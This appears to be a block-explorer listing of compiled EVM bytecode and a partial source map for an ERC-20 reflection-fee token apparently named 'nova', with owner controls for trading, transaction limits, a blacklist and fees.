038581169116148015906113ad57506016546001600160a01b03848116911614155b156113b957505f611433565b6016546001600160a01b0385811691161480156113e457506015546001600160a01b03848116911614155b156113f657600854600c55600954600d555b6016546001600160a01b03848116911614801561142157506015546001600160a01b03858116911614155b1561143357600a54600c55600b54600d555b610b26848484846116a0565b5f81848411156114625760405162461bcd60e51b81526004016106389190611bcc565b505f61146e84866121c2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109cc573d5f803e3d5ffd5b5f6006548211156115145760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610638565b5f61151d6116ce565b905061152983826116ef565b9392505050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157657611576611f9c565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f191906121d5565b8160018151811061160457611604611f9c565b6001600160a01b03928316602091820292909201015260155461162a9130911684610dec565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906116629085905f908690309042906004016121f0565b5f604051808303815f87803b158015611679575f80fd5b505af115801561168b573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b806116ad576116ad611730565b6116b884848461175d565b80610b2657610b26600e54600c55600f54600d55565b5f805f6116d96118c5565b90925090506116e882826116ef565b9250505090565b5f61152983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611904565b600c541580156117405750600d54155b1561174757565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061176c87611930565b6001600160a01b038f165f90815260026020526040902054959b5093995091975095509350915061179d9087611985565b6001600160a01b03808b165f9081526002602052604080822093909355908a16815220546117cb90866119c6565b6001600160a01b0389165f908152600260205260409020556117ec81611a24565b6117f68483611a6a565b6016546001600160a01b038a81169116148061181e57505f546001600160a01b038a81169116145b1561186c576014546040518481526001600160a01b038a81169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36118ba565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118b191815260200190565b60405180910390a35b505050505050505050565b6006545f90819067016345785d8a00006118df82826116ef565b8210156118fb5750506006549267016345785d8a000092509050565b90939092509050565b5f81836119245760405162461bcd60e51b81526004016106389190611bcc565b505f61146e8486612261565b5f805f805f805f805f6119488a600c54600d54611a8e565b9250925092505f6119576116ce565b90505f805f6119688e878787611ae0565b919e509c509a509598509396509194505050505091939550919395565b5f61152983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061143f565b5f806119d283856121af565b9050838110156115295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610638565b5f611a2d6116ce565b90505f611a3a8383611b2c565b305f90815260026020526040902054909150611a5690826119c6565b305f90815260026020526040902055505050565b600654611a779083611985565b600655600754611a8790826119c6565b6007555050565b5f808080611aa76064611aa18989611b2c565b906116ef565b90505f611ab96064611aa18a89611b2c565b90505f611ad082611aca8b86611985565b90611985565b9992985090965090945050505050565b5f808080611aee8886611b2c565b90505f611afb8887611b2c565b90505f611b088888611b2c565b90505f611b1982611aca8686611985565b939b939a50919850919650505050505050565b5f825f03611b3b57505f6106fa565b5f611b468385612280565b905082611b538583612261565b146115295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610638565b5f5b83811015611bc4578181015183820152602001611bac565b50505f910152565b602081525f8251806020840152611bea816040850160208701611baa565b601f01601f19169190910160400192915050565b5f60208284031215611c0e575f80fd5b5035919050565b6001600160a01b0381168114610885575f80fd5b5f8060408385031215611c3a575f80fd5b8235611c4581611c15565b946020939093013593505050565b5f805f60608486031215611c65575f80fd5b8335611c7081611c15565b92506020840135611c8081611c15565b929592945050506040919091013590565b80358015158114611ca0575f80fd5b919050565b5f60208284031215611cb5575f80fd5b61152982611c91565b5f60208284031215611cce575f80fd5b813561152981611c15565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611d1657611d16611cd9565b604052919050565b5f6020808385031215611d2f575f80fd5b823567ffffffffffffffff80821115611d46575f80fd5b818501915085601f830112611d59575f80fd5b813581811115611d6b57611d6b611cd9565b8060051b9150611d7c848301611ced565b8181529183018401918481019088841115611d95575f80fd5b938501935b83851015611dbf5784359250611daf83611c15565b8282529385019390850190611d9a565b98975050505050505050565b5f805f8060808587031215611dde575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611e0c575f80fd5b833567ffffffffffffffff80821115611e23575f80fd5b818601915086601f830112611e36575f80fd5b813581811115611e44575f80fd5b8760208260051b8501011115611e58575f80fd5b602092830195509350611e6e9186019050611c91565b90509250925092565b5f82601f830112611e86575f80fd5b813567ffffffffffffffff811115611ea057611ea0611cd9565b611eb3601f8201601f1916602001611ced565b818152846020838601011115611ec7575f80fd5b816020850160208301375f918101602001919091529392505050565b5f805f60608486031215611ef5575f80fd5b833567ffffffffffffffff80821115611f0c575f80fd5b611f1887838801611e77565b94506020860135915080821115611f2d575f80fd5b611f3987838801611e77565b93506040860135915080821115611f4e575f80fd5b50611f5b86828701611e77565b9150509250925092565b5f8060408385031215611f76575f80fd5b8235611f8181611c15565b91506020830135611f9181611c15565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b600181811c90821680611fc457607f821691505b602082108103611fe257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b605b60f81b81525f8451612038816001850160208901611baa565b808301905061016160f51b806001830152855161205c816003850160208a01611baa565b60039201918201528351612077816005840160208801611baa565b605d60f81b6005929091019182015260060195945050505050565b601f8211156120d657805f5260205f20601f840160051c810160208510156120b75750805b601f840160051c820191505b81811015610cd0575f81556001016120c3565b505050565b815167ffffffffffffffff8111156120f5576120f5611cd9565b612109816121038454611fb0565b84612092565b602080601f83116001811461213c575f84156121255750858301515b5f19600386901b1c1916600185901b178555612193565b5f85815260208120601f198616915b8281101561216a5788860151825594840194600190910190840161214b565b508582101561218757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156106fa576106fa61219b565b818103818111156106fa576106fa61219b565b5f602082840312156121e5575f80fd5b815161152981611c15565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156122405784516001600160a01b03168352938301939183019160010161221b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261227b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176106fa576106fa61219b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f59af5078c0aebf64263c735cd179c9fb9a13c6549ae4c0944c97b6ff4daed2a64736f6c63430008170033
Deployed Bytecode
0x6080604052600436106101de575f3560e01c80637d1db4a5116100fd578063a9059cbb11610092578063d220054011610062578063d220054014610551578063dd62ed3e14610570578063ea1644d5146105b4578063f2fde38b146105d3575f80fd5b8063a9059cbb146104d1578063bfd79284146104f0578063c3c8cd801461051e578063c492f04614610532575f80fd5b806395d89b41116100cd57806395d89b41146101e957806395e706191461047457806398a5c31514610493578063a2a957bb146104b2575f80fd5b80637d1db4a5146104035780637f2feddc146104185780638da5cb5b146104435780638f9a55c01461045f575f80fd5b8063313ce567116101735780636fc3eaec116101435780636fc3eaec1461039d57806370a08231146103b1578063715018a6146103d057806374010ece146103e4575f80fd5b8063313ce567146103255780633459052d1461034057806349bd5a5e1461035f5780636d8aa8f81461037e575f80fd5b806318160ddd116101ae57806318160ddd146102ac57806323b872dd146102d05780632a9b8072146102ef5780632fd689e314610310575f80fd5b806306fdde03146101e957806308a4f07214610227578063095ea7b3146102465780631694505e14610275575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260048152636e6f766160e01b60208201525b60405161021e9190611bcc565b60405180910390f35b348015610232575f80fd5b50610211610241366004611bfe565b6105f2565b348015610251575f80fd5b50610265610260366004611c29565b6106ea565b604051901515815260200161021e565b348015610280575f80fd5b50601554610294906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102b7575f80fd5b5067016345785d8a00005b60405190815260200161021e565b3480156102db575f80fd5b506102656102ea366004611c53565b610700565b3480156102fa575f80fd5b5061030e610309366004611ca5565b610767565b005b34801561031b575f80fd5b506102c260195481565b348015610330575f80fd5b506040516009815260200161021e565b34801561034b575f80fd5b5061030e61035a366004611cbe565b6107ae565b34801561036a575f80fd5b50601654610294906001600160a01b031681565b348015610389575f80fd5b5061030e610398366004611ca5565b6107f7565b3480156103a8575f80fd5b5061030e61083e565b3480156103bc575f80fd5b506102c26103cb366004611cbe565b610888565b3480156103db575f80fd5b5061030e6108a9565b3480156103ef575f80fd5b5061030e6103fe366004611bfe565b61091a565b34801561040e575f80fd5b506102c260175481565b348015610423575f80fd5b506102c2610432366004611cbe565b60116020525f908152604090205481565b34801561044e575f80fd5b505f546001600160a01b0316610294565b34801561046a575f80fd5b506102c260185481565b34801561047f575f80fd5b5061030e61048e366004611d1e565b610948565b34801561049e575f80fd5b5061030e6104ad366004611bfe565b6109d0565b3480156104bd575f80fd5b5061030e6104cc366004611dcb565b6109fe565b3480156104dc575f80fd5b506102656104eb366004611c29565b610a3b565b3480156104fb575f80fd5b5061026561050a366004611cbe565b60106020525f908152604090205460ff1681565b348015610529575f80fd5b5061030e610a47565b34801561053d575f80fd5b5061030e61054c366004611dfa565b610a99565b34801561055c575f80fd5b5061030e61056b366004611ee3565b610b2c565b34801561057b575f80fd5b506102c261058a366004611f65565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105bf575f80fd5b5061030e6105ce366004611bfe565b610cd7565b3480156105de575f80fd5b5061030e6105ed366004611cbe565b610d05565b601a5460609082106106415760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064015b60405180910390fd5b601a828154811061065457610654611f9c565b905f5260205f2001805461066790611fb0565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611fb0565b80156106de5780601f106106b5576101008083540402835291602001916106de565b820191905f5260205f20905b8154815290600101906020018083116106c157829003601f168201915b50505050509050919050565b5f6106f6338484610dec565b5060015b92915050565b5f61070c848484610f0f565b61075d843361075885604051806060016040528060288152602001612298602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061143f565b610dec565b5060019392505050565b5f546001600160a01b031633146107905760405162461bcd60e51b815260040161063890611fe8565b60168054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161063890611fe8565b6001600160a01b03165f908152601060205260409020805460ff19169055565b5f546001600160a01b031633146108205760405162461bcd60e51b815260040161063890611fe8565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061087357506013546001600160a01b0316336001600160a01b0316145b61087b575f80fd5b4761088581611477565b50565b6001600160a01b0381165f908152600260205260408120546106fa906114ae565b5f546001600160a01b031633146108d25760405162461bcd60e51b815260040161063890611fe8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161063890611fe8565b601755565b5f546001600160a01b031633146109715760405162461bcd60e51b815260040161063890611fe8565b5f5b81518110156109cc57600160105f84848151811061099357610993611f9c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610973565b5050565b5f546001600160a01b031633146109f95760405162461bcd60e51b815260040161063890611fe8565b601955565b5f546001600160a01b03163314610a275760405162461bcd60e51b815260040161063890611fe8565b600893909355600a91909155600955600b55565b5f6106f6338484610f0f565b6012546001600160a01b0316336001600160a01b03161480610a7c57506013546001600160a01b0316336001600160a01b0316145b610a84575f80fd5b5f610a8e30610888565b905061088581611530565b5f546001600160a01b03163314610ac25760405162461bcd60e51b815260040161063890611fe8565b5f5b82811015610b26578160055f868685818110610ae257610ae2611f9c565b9050602002016020810190610af79190611cbe565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610ac4565b50505050565b5f546001600160a01b03163314610b555760405162461bcd60e51b815260040161063890611fe8565b8180519060200120838051906020012003610bb25760405162461bcd60e51b815260206004820181905260248201527f5341433120616e6420534143322063616e6e6f74206265207468652073616d656044820152606401610638565b8080519060200120838051906020012003610c0f5760405162461bcd60e51b815260206004820181905260248201527f5341433120616e6420534143332063616e6e6f74206265207468652073616d656044820152606401610638565b8080519060200120828051906020012003610c6c5760405162461bcd60e51b815260206004820181905260248201527f5341433220616e6420534143332063616e6e6f74206265207468652073616d656044820152606401610638565b5f838383604051602001610c829392919061201d565b60408051601f19818403018152919052601a80546001810182555f919091529091507f057c384a7d1c54f3a1b2e5e67b2617b8224fdfd1ea7234eea573a6ff665ff63e01610cd082826120db565b5050505050565b5f546001600160a01b03163314610d005760405162461bcd60e51b815260040161063890611fe8565b601855565b5f546001600160a01b03163314610d2e5760405162461bcd60e51b815260040161063890611fe8565b6001600160a01b038116610d935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610638565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610eaf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610638565b6001600160a01b038216610fd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610638565b5f81116110365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610638565b5f546001600160a01b0384811691161480159061106057505f546001600160a01b03838116911614155b1561133b57601654600160a01b900460ff166110f8575f546001600160a01b038481169116146110f85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610638565b60175481111561114a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610638565b6001600160a01b0383165f9081526010602052604090205460ff1615801561118a57506001600160a01b0382165f9081526010602052604090205460ff16155b6111e25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610638565b6016546001600160a01b03838116911614611267576018548161120484610888565b61120e91906121af565b106112675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610638565b5f61127130610888565b60195460175491925082101590821061128a5760175491505b8080156112a15750601654600160a81b900460ff16155b80156112bb57506016546001600160a01b03868116911614155b80156112d05750601654600160b01b900460ff165b80156112f457506001600160a01b0385165f9081526005602052604090205460ff16155b801561131857506001600160a01b0384165f9081526005602052604090205460ff16155b156113385761132682611530565b4780156113365761133647611477565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061137b57506001600160a01b0383165f9081526005602052604090205460ff165b806113ad57506016546001600160a01b038581169116148015906113ad57506016546001600160a01b03848116911614155b156113b957505f611433565b6016546001600160a01b0385811691161480156113e457506015546001600160a01b03848116911614155b156113f657600854600c55600954600d555b6016546001600160a01b03848116911614801561142157506015546001600160a01b03858116911614155b1561143357600a54600c55600b54600d555b610b26848484846116a0565b5f81848411156114625760405162461bcd60e51b81526004016106389190611bcc565b505f61146e84866121c2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156109cc573d5f803e3d5ffd5b5f6006548211156115145760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610638565b5f61151d6116ce565b905061152983826116ef565b9392505050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157657611576611f9c565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f191906121d5565b8160018151811061160457611604611f9c565b6001600160a01b03928316602091820292909201015260155461162a9130911684610dec565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906116629085905f908690309042906004016121f0565b5f604051808303815f87803b158015611679575f80fd5b505af115801561168b573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b806116ad576116ad611730565b6116b884848461175d565b80610b2657610b26600e54600c55600f54600d55565b5f805f6116d96118c5565b90925090506116e882826116ef565b9250505090565b5f61152983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611904565b600c541580156117405750600d54155b1561174757565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061176c87611930565b6001600160a01b038f165f90815260026020526040902054959b5093995091975095509350915061179d9087611985565b6001600160a01b03808b165f9081526002602052604080822093909355908a16815220546117cb90866119c6565b6001600160a01b0389165f908152600260205260409020556117ec81611a24565b6117f68483611a6a565b6016546001600160a01b038a81169116148061181e57505f546001600160a01b038a81169116145b1561186c576014546040518481526001600160a01b038a81169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36118ba565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118b191815260200190565b60405180910390a35b505050505050505050565b6006545f90819067016345785d8a00006118df82826116ef565b8210156118fb5750506006549267016345785d8a000092509050565b90939092509050565b5f81836119245760405162461bcd60e51b81526004016106389190611bcc565b505f61146e8486612261565b5f805f805f805f805f6119488a600c54600d54611a8e565b9250925092505f6119576116ce565b90505f805f6119688e878787611ae0565b919e509c509a509598509396509194505050505091939550919395565b5f61152983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061143f565b5f806119d283856121af565b9050838110156115295760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610638565b5f611a2d6116ce565b90505f611a3a8383611b2c565b305f90815260026020526040902054909150611a5690826119c6565b305f90815260026020526040902055505050565b600654611a779083611985565b600655600754611a8790826119c6565b6007555050565b5f808080611aa76064611aa18989611b2c565b906116ef565b90505f611ab96064611aa18a89611b2c565b90505f611ad082611aca8b86611985565b90611985565b9992985090965090945050505050565b5f808080611aee8886611b2c565b90505f611afb8887611b2c565b90505f611b088888611b2c565b90505f611b1982611aca8686611985565b939b939a50919850919650505050505050565b5f825f03611b3b57505f6106fa565b5f611b468385612280565b905082611b538583612261565b146115295760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610638565b5f5b83811015611bc4578181015183820152602001611bac565b50505f910152565b602081525f8251806020840152611bea816040850160208701611baa565b601f01601f19169190910160400192915050565b5f60208284031215611c0e575f80fd5b5035919050565b6001600160a01b0381168114610885575f80fd5b5f8060408385031215611c3a575f80fd5b8235611c4581611c15565b946020939093013593505050565b5f805f60608486031215611c65575f80fd5b8335611c7081611c15565b92506020840135611c8081611c15565b929592945050506040919091013590565b80358015158114611ca0575f80fd5b919050565b5f60208284031215611cb5575f80fd5b61152982611c91565b5f60208284031215611cce575f80fd5b813561152981611c15565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611d1657611d16611cd9565b604052919050565b5f6020808385031215611d2f575f80fd5b823567ffffffffffffffff80821115611d46575f80fd5b818501915085601f830112611d59575f80fd5b813581811115611d6b57611d6b611cd9565b8060051b9150611d7c848301611ced565b8181529183018401918481019088841115611d95575f80fd5b938501935b83851015611dbf5784359250611daf83611c15565b8282529385019390850190611d9a565b98975050505050505050565b5f805f8060808587031215611dde575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611e0c575f80fd5b833567ffffffffffffffff80821115611e23575f80fd5b818601915086601f830112611e36575f80fd5b813581811115611e44575f80fd5b8760208260051b8501011115611e58575f80fd5b602092830195509350611e6e9186019050611c91565b90509250925092565b5f82601f830112611e86575f80fd5b813567ffffffffffffffff811115611ea057611ea0611cd9565b611eb3601f8201601f1916602001611ced565b818152846020838601011115611ec7575f80fd5b816020850160208301375f918101602001919091529392505050565b5f805f60608486031215611ef5575f80fd5b833567ffffffffffffffff80821115611f0c575f80fd5b611f1887838801611e77565b94506020860135915080821115611f2d575f80fd5b611f3987838801611e77565b93506040860135915080821115611f4e575f80fd5b50611f5b86828701611e77565b9150509250925092565b5f8060408385031215611f76575f80fd5b8235611f8181611c15565b91506020830135611f9181611c15565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b600181811c90821680611fc457607f821691505b602082108103611fe257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b605b60f81b81525f8451612038816001850160208901611baa565b808301905061016160f51b806001830152855161205c816003850160208a01611baa565b60039201918201528351612077816005840160208801611baa565b605d60f81b6005929091019182015260060195945050505050565b601f8211156120d657805f5260205f20601f840160051c810160208510156120b75750805b601f840160051c820191505b81811015610cd0575f81556001016120c3565b505050565b815167ffffffffffffffff8111156120f5576120f5611cd9565b612109816121038454611fb0565b84612092565b602080601f83116001811461213c575f84156121255750858301515b5f19600386901b1c1916600185901b178555612193565b5f85815260208120601f198616915b8281101561216a5788860151825594840194600190910190840161214b565b508582101561218757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156106fa576106fa61219b565b818103818111156106fa576106fa61219b565b5f602082840312156121e5575f80fd5b815161152981611c15565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156122405784516001600160a01b03168352938301939183019160010161221b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261227b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176106fa576106fa61219b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f59af5078c0aebf64263c735cd179c9fb9a13c6549ae4c0944c97b6ff4daed2a64736f6c63430008170033
Deployed Bytecode Sourcemap
4158:14555:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6708:83;;;;;;;;;;-1:-1:-1;6778:5:0;;;;;;;;;;;;-1:-1:-1;;;6778:5:0;;;;6708:83;;;;;;;:::i;:::-;;;;;;;;13814:154;;;;;;;;;;-1:-1:-1;13814:154:0;;;;;:::i;:::-;;:::i;7633:193::-;;;;;;;;;;-1:-1:-1;7633:193:0;;;;;:::i;:::-;;:::i;:::-;;;1476:14:1;;1469:22;1451:41;;1439:2;1424:18;7633:193:0;1311:187:1;5558:41:0;;;;;;;;;;-1:-1:-1;5558:41:0;;;;-1:-1:-1;;;;;5558:41:0;;;;;;-1:-1:-1;;;;;1693:32:1;;;1675:51;;1663:2;1648:18;5558:41:0;1503:229:1;6985:95:0;;;;;;;;;;-1:-1:-1;4697:17:0;6985:95;;;1883:25:1;;;1871:2;1856:18;6985:95:0;1737:177:1;7834:446:0;;;;;;;;;;-1:-1:-1;7834:446:0;;;;;:::i;:::-;;:::i;12284:102::-;;;;;;;;;;-1:-1:-1;12284:102:0;;;;;:::i;:::-;;:::i;:::-;;5860:52;;;;;;;;;;;;;;;;6894:83;;;;;;;;;;-1:-1:-1;6894:83:0;;4371:1;2872:36:1;;2860:2;2845:18;6894:83:0;2730:184:1;13065:93:0;;;;;;;;;;-1:-1:-1;13065:93:0;;;;;:::i;:::-;;:::i;5606:28::-;;;;;;;;;;-1:-1:-1;5606:28:0;;;;-1:-1:-1;;;;;5606:28:0;;;18095:101;;;;;;;;;;-1:-1:-1;18095:101:0;;;;;:::i;:::-;;:::i;12638:235::-;;;;;;;;;;;;;:::i;7088:138::-;;;;;;;;;;-1:-1:-1;7088:138:0;;;;;:::i;:::-;;:::i;1645:148::-;;;;;;;;;;;;;:::i;18235:108::-;;;;;;;;;;-1:-1:-1;18235:108:0;;;;;:::i;:::-;;:::i;5755:44::-;;;;;;;;;;;;;;;;5234:43;;;;;;;;;;-1:-1:-1;5234:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;1431:79;;;;;;;;;;-1:-1:-1;1469:7:0;1496:6;-1:-1:-1;;;;;1496:6:0;1431:79;;5806:47;;;;;;;;;;;;;;;;12881:176;;;;;;;;;;-1:-1:-1;12881:176:0;;;;;:::i;:::-;;:::i;17904:139::-;;;;;;;;;;-1:-1:-1;17904:139:0;;;;;:::i;:::-;;:::i;17561:291::-;;;;;;;;;;-1:-1:-1;17561:291:0;;;;;:::i;:::-;;:::i;7234:199::-;;;;;;;;;;-1:-1:-1;7234:199:0;;;;;:::i;:::-;;:::i;5196:36::-;;;;;;;;;;-1:-1:-1;5196:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12394:236;;;;;;;;;;;;;:::i;18474:234::-;;;;;;;;;;-1:-1:-1;18474:234:0;;;;;:::i;:::-;;:::i;13166:640::-;;;;;;;;;;-1:-1:-1;13166:640:0;;;;;:::i;:::-;;:::i;7441:184::-;;;;;;;;;;-1:-1:-1;7441:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7590:18:0;;;7558:7;7590:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7441:184;18351:115;;;;;;;;;;-1:-1:-1;18351:115:0;;;;;:::i;:::-;;:::i;1801:244::-;;;;;;;;;;-1:-1:-1;1801:244:0;;;;;:::i;:::-;;:::i;13814:154::-;13894:9;:16;13861:13;;13890:20;;13882:52;;;;-1:-1:-1;;;13882:52:0;;7780:2:1;13882:52:0;;;7762:21:1;7819:2;7799:18;;;7792:30;-1:-1:-1;;;7838:18:1;;;7831:49;7897:18;;13882:52:0;;;;;;;;;13952:9;13962:1;13952:12;;;;;;;;:::i;:::-;;;;;;;;13945:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13814:154;;;:::o;7633:193::-;7735:4;7757:39;270:10;7780:7;7789:6;7757:8;:39::i;:::-;-1:-1:-1;7814:4:0;7633:193;;;;;:::o;7834:446::-;7966:4;7983:36;7993:6;8001:9;8012:6;7983:9;:36::i;:::-;8030:220;8053:6;270:10;8101:138;8157:6;8101:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8101:19:0;;;;;;:11;:19;;;;;;;;270:10;8101:33;;;;;;;;;;:37;:138::i;:::-;8030:8;:220::i;:::-;-1:-1:-1;8268:4:0;7834:446;;;;;:::o;12284:102::-;1558:6;;-1:-1:-1;;;;;1558:6:0;270:10;1558:22;1550:67;;;;-1:-1:-1;;;1550:67:0;;;;;;;:::i;:::-;12352:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;12352:26:0::1;-1:-1:-1::0;;;;12352:26:0;;::::1;::::0;;;::::1;::::0;;12284:102::o;13065:93::-;1558:6;;-1:-1:-1;;;;;1558:6:0;270:10;1558:22;1550:67;;;;-1:-1:-1;;;1550:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13130:12:0::1;13145:5;13130:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;13130:20:0::1;::::0;;13065:93::o;18095:101::-;1558:6;;-1:-1:-1;;;;;1558:6:0;270:10;1558:22;1550:67;;;;-1:-1:-1;;;1550:67:0;;;;;;;:::i;:::-;18162:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;18162:26:0::1;-1:-1:-1::0;;;;18162:26:0;;::::1;::::0;;;::::1;::::0;;18095:101::o;12638:235::-;12704:19;;-1:-1:-1;;;;;12704:19:0;270:10;-1:-1:-1;;;;;12688:35:0;;:72;;;-1:-1:-1;12743:17:0;;-1:-1:-1;;;;;12743:17:0;270:10;-1:-1:-1;;;;;12727:33:0;;12688:72;12680:81;;;;;;12801:21;12833:32;12801:21;12833:12;:32::i;:::-;12669:204;12638:235::o;7088:138::-;-1:-1: